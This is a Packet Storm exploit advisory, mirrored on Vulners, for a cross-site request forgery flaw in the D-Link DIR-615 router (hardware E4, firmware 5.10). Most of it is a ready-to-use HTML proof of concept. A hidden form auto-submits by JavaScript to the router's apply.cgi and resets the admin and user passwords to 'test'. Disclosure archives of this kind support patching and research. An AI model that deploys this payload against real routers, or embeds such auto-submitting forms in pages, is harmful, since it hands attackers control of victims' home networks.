Lucene search
K

D-LINK DIR-615 Cross Site Request Forgery

🗓️ 20 Feb 2014 00:00:00Reported by Dhruv ShahType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

D-Link DIR-615 hardware version E4 with firmware 5.10 CSRF vulnerabilit

Code
`####################################################################################  
  
# Exploit Title: Dlink DIR-615 Hardware Version E4 Firmware Verion 5.10  
CSRF Vulnerability  
# Google Dork: N/A  
# Date: 19/02/2014  
# Exploit Author: Dhruv Shah  
# Vendor Homepage:  
http://www.dlink.com/us/en/home-solutions/connect/routers/dir-615-wireless-n-300-router  
# Software Link: N/A  
# Hardware Version:E4  
  
# Firmware Version:5.10  
# Tested on: Router Web Server  
# CVE : N/A  
  
###################################################################################  
  
Cross Site Request Forgery  
  
This Modem's Web Application , suffers from Cross-site request forgery  
  
through which attacker can manipulate user data via sending him malicious  
  
craft url.  
  
The Modems's Application not using any security token to prevent it  
  
against CSRF. You can manipulate any userdata. PoC and Exploit to change  
  
user password:  
  
In the POC the IP address in the POST is the modems IP address.  
  
  
  
<html>  
  
<body>  
  
<form id ="poc"action="http://192.168.0.1/apply.cgi"  
method="POST">  
  
<input type="hidden" name="html_response_page"  
value="back.asp" />  
  
<input type="hidden" name="html_response_message"  
value="The setting is saved." />  
  
<input type="hidden" name="html_response_return_page"  
value="login.asp" />  
  
<input type="hidden" name="reboot_type" value="none" />  
  
<input type="hidden" name="button1" value="Save Settings" />  
  
<input type="hidden" name="admin_password" value="test" />  
  
<input type="hidden" name="admin_password1" value="test" />  
  
<input type="hidden" name="admPass2" value="test" />  
  
<input type="hidden" name="user_password" value="test" />  
  
<input type="hidden" name="user_password1" value="test" />  
  
<input type="hidden" name="usrPass2" value="test" />  
  
<input type="hidden" name="hostname" value="DIR-615" />  
  
<input type="hidden" name="graphical_enable" value="1" />  
  
<input type="hidden" name="graph_auth_enable" value="1" />  
  
<input type="hidden" name="remote_http_management_enable"  
value="0" />  
  
<input type="hidden"  
name="remote_http_management_inbound_filter"  
value="Allow_All" />  
  
</form>  
  
</body>  
  
<script  
type="text/javascript">document.getElementById("poc").submit();</script>  
  
</html>  
  
______________________  
  
*Dhruv Shah* *aka Snypter*  
  
Blogger | Researcher | Consultant | Writer  
Youtube <http://www.youtube.com/snypter> |  
Facebook<http://www.facebook.com/dhruvshahs>|  
Linkedin <http://in.linkedin.com/pub/dhruv-shah/26/4a6/aa0> |  
Twitter<https://twitter.com/Snypter>|  
Blog <http://security-geek.in/blog/>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation